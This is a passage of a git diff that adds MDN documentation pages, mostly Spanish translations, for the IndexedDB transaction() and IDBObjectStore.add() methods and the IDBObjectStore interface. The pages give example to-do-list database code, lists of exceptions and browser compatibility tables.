+  DBOpenRequest.onupgradeneeded = function(event) {
+    var db = event.target.result;
+
+    db.onerror = function(event) {
+      note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+    };
+
+    // Create an objectStore for this database using IDBDatabase.createObjectStore
+
+    var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+    // define what data items the objectStore will contain
+
+    objectStore.createIndex("hours", "hours", { unique: false });
+    objectStore.createIndex("minutes", "minutes", { unique: false });
+    objectStore.createIndex("day", "day", { unique: false });
+    objectStore.createIndex("month", "month", { unique: false });
+    objectStore.createIndex("year", "year", { unique: false });
+
+    objectStore.createIndex("notified", "notified", { unique: false });
+
+    note.innerHTML += '&lt;li&gt;Object store created.&lt;/li&gt;';
+  };</pre>
+
+<p>This next line opens up a transaction on the Database, then opens an object store that we can then manipulate the data inside of.</p>
+
+<pre class="brush: js">    var objectStore = db.transaction('toDoList').objectStore('toDoList'); </pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBDatabase', 'IDBDatabase')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Initial version</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2", "#database-interface", "IDBDatabase")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)<sup>[1]</sup></th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23 {{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop(16)}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{event("close")}} event</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(22)}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(37)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{event("close")}} event</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}). Previously in a <code>readwrite</code> transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the <code>complete</code> event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The <code>complete</code> event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further. If you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the <code>complete</code> event by creating a transaction using the experimental (non-standard) <code>readwriteflush</code> mode (see {{domxref("IDBDatabase.transaction")}}).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/api/idbdatabase/transaction/index.html b/files/es/web/api/idbdatabase/transaction/index.html
new file mode 100644
index 0000000000..8e8fcfedd6
--- /dev/null
+++ b/files/es/web/api/idbdatabase/transaction/index.html
@@ -0,0 +1,229 @@
+---
+title: IDBDatabase.transaction()
+slug: Web/API/IDBDatabase/transaction
+tags:
+  - Almacenamiento
+  - Base de datos
+  - Referencia
+  - metodo
+  - transacción
+translation_of: Web/API/IDBDatabase/transaction
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>El método <strong><code>transaction()</code></strong> <em><strong><code>[transacción]</code></strong></em> de la interfaz {{domxref("IDBDatabase")}} retorna inmediatamente un objeto de transacción<span style="line-height: 1.5;"> ({{domxref("IDBTransaction")}}) que contiene el método {{domxref("IDBTransaction.objectStore")}}, el cual puedes usar para acceder a tu almacén de objetos.</span></p>
+
+<p>{{AvailableInWorkers}}</p>
+</div>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="brush: js">var transaccion = db.transaction(["toDoList"], "readwrite");</pre>
+
+<h3 id="Retorna">Retorna</h3>
+
+<p>Un objeto {{domxref("IDBTransaction")}}.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>Éste método puede invocar una excepción {{domxref("DOMException")}} de alguno de los siguientes tipos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Excepción</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/">InvalidStateError</a></code></td>
+   <td>
+    <p>El método <code>close()</code> ha sido llamado previamente en esta instancia de {{domxref("IDBDatabase")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>NotFoundError</code></td>
+   <td>Un almacén de objetos especificado en el parámetro <code>storeNames</code> ha sido borrado o removido.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>El valor para el parámetro <code>mode</code> es inválido.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidAccessError</code></td>
+   <td>La función fue llamada con una lista vacía de nombres de almacenes.<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo abrimos la conexión a una base de datos, luego usamos <code>transaction()</code> para abrir una transacción en dicha base de datos. Para un ejemplo completo, vea nuestra aplicación <a href="https://github.com/mdn/to-do-notifications/" style="line-height: 1.5;">To-do Notifications</a> <span style="line-height: 1.5;">(</span><a href="http://mdn.github.io/to-do-notifications/" style="line-height: 1.5;">ver ejemplo en vivo</a><span style="line-height: 1.5;">).</span></p>
+
+<pre class="brush: js">var db;
+
+// Abrimos nuestra base de datos:
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Base de datos inicializada.&lt;/li&gt;';
+
+  // almacenar el resultado de la apertura de la base de datos en la variable db. Esto es bastante usado más abajo:
+  db = DBOpenRequest.result;
+
+  // ejecutar la función displayData() para popular la lista de tareas con los datos "to-do" que existen actualmente en la Base de Datos Indizada (IDB):
+  displayData();
+
+};
+
+// abrir una transacción lectura/escritura, lista para añadir los datos:
+var transaction = db.transaction(["toDoList"], "readwrite");
+
+// reportar cuando haya éxito al abrir la transacción
+transaction.oncomplete = function(event) {
+  note.innerHTML += '&lt;li&gt;Transacción completa: modificación a la base de datos finalizada.&lt;/li&gt;';
+};
+
+transaction.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Transacción no abierta debido a un error. No se permite duplicar ítems.&lt;/li&gt;';
+};
+
+// después deberías continuar y hacerle algo a esta base de datos a través del almacén de objetos:
+var objectStore = transaction.objectStore("toDoList");
+// etc.</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt>storeNames</dt>
+ <dd>Son los nombres de los almacenes de objetos e índices que están en el ámbito de la nueva transacción, declarados como un arreglo de cadenas de texto. Especifíca solamente aquellos a los que necesitas acceso.<br>
+ Si necesitas acceder a un solo almacén, puedes especificar su nombre como una cadena. Por tanto las siguientes líneas son equivalentes:</dd>
+ <dd>
+ <pre><code class="brush:js;">var transaction = db.transaction(['my-store-name']);
+var transaction = db.transaction('my-store-name');</code></pre>
+ </dd>
+ <dd>Si necesitas acceder a todos los almacenes de objetos en la base de datos, puedes usar la propiedad {{domxref("IDBDatabase.objectStoreNames")}}:
+ <pre><code class="brush:js;">var transaction = db.transaction(db.objectStoreNames);</code></pre>
+ </dd>
+ <dd>Pasar un arreglo vació como parámetro  arrojará una excepción.</dd>
+ <dt>mode</dt>
+ <dd><em>Opcional</em>. Los tipos de acceso que pueden desempeñarse en la transacción. Las transacciones son abiertas en uno de tres modos: <code>readonly <em>[sólo lectura], </em>readwrite <em>[lectura/escritura],</em></code> y <code>readwriteflush <em>[descarga de lectura/escritura]</em></code> (no-estándar, sólo para Firefox). El modo <code>versionchange <em>[cambio de versión] </em></code>no puede ser especificado aquí. Si no provees un parámetro, el modo predeterminado será <code>readonly <em>[sólo lectura]</em></code>. Para evitar ralentizar las cosas, no abras una transacción <code>readwrite <em>[lectura/escritura]</em></code> a menos que realmente necesites escribir en la base de datos.</dd>
+ <dd>Si necesitas abrir un almacén de objetos en modo <code>readwrite</code> para cambiar los datos, usa lo siguiente:
+ <pre class="brush:js;">var transaction = db.transaction('my-store-name', "readwrite");</pre>
+
+ <p>Desde Firefox 40, las transacciones de IndexedDB tienen garantías de durabilidad relajadas para aumentar el rendimiento (ver {{Bug("1112702")}}), lo cual es el mismo comportamiento de otros navegadores que soportan IndexedDB. Es decir, anteriormente en una transacción <code>readwrite</code> el evento {{domxref("IDBTransaction.oncomplete")}} era invocado sólo cuando se garantizaba que todos los datos habían sido vaciados al disco duro. En Firefox 40+ el evento <code>complete</code> es accionado después de indicársele al Sistema Operativo que escriba los datos al disco pero esta confirmación podría suceder poco antes de que los datos hayan sido verdaderamente escritos en él. Si bien dicho evento puede entonces ser entregado un poco antes de tiempo, de cualquier modo, existe una pequeña probabilidad de que la entera transacción se pierda si el SO se bloquea o si ha ocurrido una pérdida de energía antes de que los datos efectivamente se descarguen al disco duro. Como esas catastróficas circunstancias son más bien raras, la mayoría de los consumidores no deberían preocuparse demasiado.</p>
+
+ <div class="note">
+ <p><strong>Nota</strong>: En Firefox, si deseas asegurar la durabilidad por alguna razón (por ejemplo, que estés almacenando datos críticos que no puedan ser recalculados después) puedes forzar una transacción a descargar al disco antes de invocar el evento <code>complete</code> creando una transacción que use un modo experimental <code>readwriteflush</code>  (no-estándar) (ver {{domxref("IDBDatabase.transaction")}}). Esto actualmente es experimental, y puede usarse únicamente si la configuración <code>dom.indexedDB.experimental</code> es igual a <code>true</code> en <code>about:config</code>.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Especificación"><span style="font-size: 2.14285714285714rem;">Especificación</span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBDatabase-transaction-IDBTransaction-DOMString-sequence-DOMString--storeNames-IDBTransactionMode-mode', 'transaction()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, parcial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers <em>[obreros web]</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Móvil (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Móvil</th>
+   <th>Safari Móvil</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers <em>[obreros web]</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Usando IndexedDB</a></li>
+ <li>Iniciando transacciones: {{domxref("IDBDatabase")}}</li>
+ <li>Usando transacciones: {{domxref("IDBTransaction")}}</li>
+ <li>Configurar un rango de llaves: {{domxref("IDBKeyRange")}}</li>
+ <li>Recuperando y haciendo cambios a tus datos: {{domxref("IDBObjectStore")}}</li>
+ <li>Usando cursores: {{domxref("IDBCursor")}}</li>
+ <li>Ejemplo de referencia: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">ver ejemplo en vivo</a>).</li>
+</ul>
diff --git a/files/es/web/api/idbobjectstore/add/index.html b/files/es/web/api/idbobjectstore/add/index.html
new file mode 100644
index 0000000000..1a28ff194c
--- /dev/null
+++ b/files/es/web/api/idbobjectstore/add/index.html
@@ -0,0 +1,193 @@
+---
+title: IDBObjectStore.add
+slug: Web/API/IDBObjectStore/add
+tags:
+  - API
+  - Add
+  - Almacenamiento
+  - Base de datos
+  - IDBObjectStore
+  - IndexedDB
+  - Referencia
+translation_of: Web/API/IDBObjectStore/add
+---
+<p>{{ APIRef("IDBObjectStore") }}</p>
+<div>
+ <p>El metodo <code>add()</code> de la interfaz {{domxref("IDBObjectStore")}} retorna un objeto {{domxref("IDBRequest")}}, y, un hilo separado, crea un <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#structured-clone">clone estructurado</a> del valor, y almacena el valor clonado en el almacén de objetos. Esto es para agregar nevos registros a un almacén de objetos.</p>
+ <p>Para determinar si la operación de agregar fue completada satisfactoriamente, escucha el evento <code>complete</code> de la transaccion en adicion al evento <code>success</code> de la peticion <code>IDBojectStore.add</code>, porque la transaccion y todavía puede fallar después de lanzar el evento success. En otras palabras, el eventos success sólo es lanzado cuando la transacción ha sido puesta en cola satisfactoriamente.</p>
+ <p>El método agregar es un método de <em>sólo inserción</em>. Si un registro ya existe en el almacén de objetos con el argumento <code>key</code> como su clave, entonces un error <code>ConstrainError</code> es lanzado en el objeto petición devuelto. Para actualizar registros existentes, debes usar el método {{domxref("IDBObjectStore.put")}} en su lugar.</p>
+</div>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre class="brush: js">var request = objectStore.add(myItem, optionalKey);</pre>
+<h3 id="Retorno">Retorno</h3>
+<p>Un objeto <span style="line-height: 1.5;">{{domxref("IDBRequest")}} en el que los eventos subsecuentes relacionados a esta operación son lanzados.</span></p>
+<h3 id="Excepciones">Excepciones</h3>
+<p>Este método puede generar un <span style="line-height: 1.5;">{{domxref("DOMException")}}</span> con un <span style="line-height: 1.5;">{{domxref("DOMError")}}</span> de uno de los siguiente tipos:</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Excepción</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>ReadOnlyError</code></td>
+   <td>La transacción asociada con esta operación está en un <a href="/en-US/docs/IndexedDB/IDBTransaction#mode_constants" title="/en-US/docs/IndexedDB/IDBTransaction#mode_constants">modo</a> de sólo lectura.</td>
+  </tr>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>Esta transacción de {{domxref("IDBObjectStore")}}'s está inactiva.</td>
+  </tr>
+  <tr>
+   <td><code><span style="line-height: normal;">DataError</span></code></td>
+   <td>
+    <p>Cualquiera de los siguientes condiciones aplica:</p>
+    <ul>
+     <li>El almacén de objetos usa llaves en línea o tiene un generador de llaves, y una argumento llave fue proporcionado.</li>
+     <li>El almacén de objetos usa llaves fuera de línea y no tiene un generador de llaves, y un argumento llave fue proporcionado.</li>
+     <li>El almacén de objetos usa llaves en línea pero no un generador de llaves, y la ruta de la llave del almacén de objetos no da una llave válida.</li>
+     <li>El argumento llave fue proporcionado pero no contiene una llave válida.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>El {{domxref("IDBObjectStore")}} ha sido borrado o removido.</td>
+  </tr>
+  <tr>
+   <td><code>DataCloneError</code></td>
+   <td>Los datos siendo almacenados no pueden ser clonados por el algoritmo de clonado estructurado interno.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Ejemplo">Ejemplo</h2>
+<p>En el siguiente código, abrimos una transacción read/write en nuestra base de datos y agregado algunos datos al almacén de datos usando <code>add()</code>. También ten en cuenta que las funciones adjuntas a los manejadores de eventos de la transacción para informar en la salida de la apertura de transacciones en el evento de éxito o falla. Para un ejemplo completo funcionando, mira nuestra aplicación <a href="https://github.com/mdn/to-do-notifications/" style="line-height: 1.5;">To-do Notifications</a><span style="line-height: 1.5;"> (</span><a href="http://mdn.github.io/to-do-notifications/" style="line-height: 1.5;">ver ejemplo</a><span style="line-height: 1.5;">)</span>.</p>
+<pre class="brush: js" style="font-size: 14px;">// Abrimos nuestra base de datos
+<span style="line-height: 1.5;">var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+</span><span style="line-height: 1.5;">DBOpenRequest.onsuccess = function(event) {</span>
+  note.innerHTML += '&lt;li&gt;Database initialised.&lt;/li&gt;';
+
+  // Almacenar el resultado de la apertura de la base de datos en la variable db. Esta es usada mucho después
+  db = DBOpenRequest.result;
+
+  // Ejecuta la función addData() para agregar los datos
+  addData();
+};
+
+function addData() {
+  // Crea un nuevo objeto listo para ser insertado en la IDB
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // Inicia una transacción de lectura/escritura db transaction, lista para agregar los datos
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // Informa sobre el éxito de la inicio de la transacción
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction completed: database modification finished.&lt;/li&gt;';
+  };
+
+
+  transaction.onerror = function(event) {
+  note.innerHTML += '&lt;li&gt;Transaction not opened due to error. Duplicate items not allowed.&lt;/li&gt;';
+  };
+
+  // Crea una almacén de objetos en la transacción
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Agrega nuestro objeto newItem al almacén de objetos
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    //Informa sobre el éxito de nuestro nuevo elemento en la base de datos
+    note.innerHTML += '&lt;li&gt;New item added to database.&lt;/li&gt;';
+  };
+};</pre>
+<h2 id="Parámetros">Parámetros</h2>
+<dl>
+ <dt>
+  value</dt>
+ <dd>
+  El valor para ser almacenado.</dd>
+ <dt>
+  key</dt>
+ <dd>
+  La llave a usar para identificar el registro. Si no es especificada, el resultado es nulo.</dd>
+</dl>
+<h2 id="Especificación"><span style="font-size: 2.14285714285714rem;">Especificación</span></h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBObjectStore-add-IDBRequest-any-value-any-key', 'add()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>23{{property_prefix("webkit")}}<br>
+     24</td>
+    <td>10 {{property_prefix("moz")}}<br>
+     {{CompatGeckoDesktop("16.0")}}</td>
+    <td>10, partial</td>
+    <td>15</td>
+    <td>7.1</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Firefox OS</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>4.4</td>
+    <td>{{CompatGeckoMobile("22.0")}}</td>
+    <td>1.0.1</td>
+    <td>10</td>
+    <td>22</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Usando IndexedDB</a></li>
+ <li>Iniciando transacciones: {{domxref("IDBDatabase")}}</li>
+ <li>Usando transacciones: {{domxref("IDBTransaction")}}</li>
+ <li>Estableciendo un rango de llaves: {{domxref("IDBKeyRange")}}</li>
+ <li>Obteniendo y haciendo cambios a tus datos: {{domxref("IDBObjectStore")}}</li>
+ <li>Usando cursores: {{domxref("IDBCursor")}}</li>
+ <li>Ejemplo de referencia: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">ver ejemplo</a>.)</li>
+</ul>
diff --git a/files/es/web/api/idbobjectstore/index.html b/files/es/web/api/idbobjectstore/index.html
new file mode 100644
index 0000000000..32bb499284
--- /dev/null
+++ b/files/es/web/api/idbobjectstore/index.html
@@ -0,0 +1,207 @@
+---
+title: IDBObjectStore
+slug: Web/API/IDBObjectStore
+tags:
+  - API
+translation_of: Web/API/IDBObjectStore
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<div>
+<p>The <code>IDBObjectStore</code> interface of the <a href="/en/IndexedDB" title="en/IndexedDB">IndexedDB API</a> represents an <a href="/en/IndexedDB#gloss_object_store" title="en/IndexedDB#gloss object store">object store</a> in a database. Records within an object store are sorted according to their keys. This sorting enables fast insertion, look-up, and ordered retrieval.</p>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("IDBObjectStore.add")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#structured-clone">structured clone</a> of the <code>value</code>, and stores the cloned value in the object store. This is for adding new records to an object store.</dd>
+ <dt>{{domxref("IDBObjectStore.clear")}}</dt>
+ <dd>Creates and immediately returns an {{domxref("IDBRequest")}} object, and clears this object store in a separate thread. This is for deleting all current records out of an object store.</dd>
+ <dt>{{domxref("IDBObjectStore.delete")}}</dt>
+ <dd>returns an {{domxref("IDBRequest")}} object, and, in a separate thread, deletes the current object store. This is for deleting individual records out of an object store.</dd>
+ <dt>{{domxref("IDBObjectStore.get")}}</dt>
+ <dd>returns an {{domxref("IDBRequest")}} object, and, in a separate thread, returns the object store selected by the specified key. This is for retrieving specific records from an object store.</dd>
+ <dt>{{domxref("IDBObjectStore.createIndex")}}</dt>
+ <dd>Creates a new index during a version upgrade, returning a new {{domxref("IDBIndex")}} object in the connected database.</dd>
+ <dt>{{domxref("IDBObjectStore.deleteIndex")}}</dt>
+ <dd>Destroys the specified index in the connected database, used during a version upgrade.</dd>
+ <dt>{{domxref("IDBObjectStore.index")}}</dt>
+ <dd>Opens an index from this object store after which it can, for example, be used to return a sequence of records sorted by that index using a cursor.</dd>
+ <dt>{{domxref("IDBObjectStore.put")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#structured-clone">structured clone</a> of the <code>value</code>, and stores the cloned value in the object store. This is for updating existing records in an object store when the transaction's mode is <code>readwrite</code>.</dd>
+ <dt>{{domxref("IDBObjectStore.openCursor")}}<span style="line-height: 1.5;"> </span></dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, returns a new {{domxref("IDBCursorWithValue")}} object. Used for iterating through an object store by primary key with a cursor.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IDBObjectStore.indexNames")}} {{readonlyInline}}</dt>
+ <dd>A list of the names of <a href="/en/IndexedDB#gloss_index" title="en/IndexedDB#gloss index">indexes</a> on objects in this object store.</dd>
+ <dt>{{domxref("IDBObjectStore.keyPath")}} {{readonlyInline}}</dt>
+ <dd>The <a href="/en/IndexedDB#gloss_key_path" title="en/IndexedDB#gloss key path">key path</a> of this object store. If this attribute is null, the application must provide a key for each modification operation.</dd>
+ <dt>{{domxref("IDBObjectStore.name")}} {{readonlyInline}}</dt>
+ <dd>The name of this object store.</dd>
+ <dt>{{domxref("IDBObjectStore.transaction")}} {{readonlyInline}}</dt>
+ <dd>The name of the transaction to which this object store belongs.</dd>
+ <dt>{{domxref("IDBObjectStore.autoIncrement")}} {{readonlyInline}}</dt>
+ <dd>The value of the auto increment flag for this object store.</dd>
+</dl>
+
+<h2 id="Obsolete_methods">Obsolete methods</h2>
+
+<dl>
+ <dt>{{domxref("IDBObjectStore.openKeyCursor")}}<span style="line-height: 1.5;"> </span></dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, returns a new {{domxref("IDBCursorWithValue")}}. Used for iterating through an object store with a key. However, this is now handled by {{domxref("IDBObjectStore.openCursor")}}, if a value is specified.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>This example shows a variety of different uses of ObjectStores, from updating the data structure with {{domxref("IDBObjectStore.createIndex")}} inside an <code>onupgradeneeded</code> function, to adding a new item to our object store with {{domxref("IDBObjectStore.add")}}. For a full working example, see our <a href="https://github.com/mdn/to-do-notifications/" style="line-height: 1.5;">To-do Notifications</a><span style="line-height: 1.5;"> app (</span><a href="http://mdn.github.io/to-do-notifications/" style="line-height: 1.5;">view example live</a><span style="line-height: 1.5;">.)</span></p>
+
+<pre class="brush: js">// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Database initialised.&lt;/li&gt;';
+
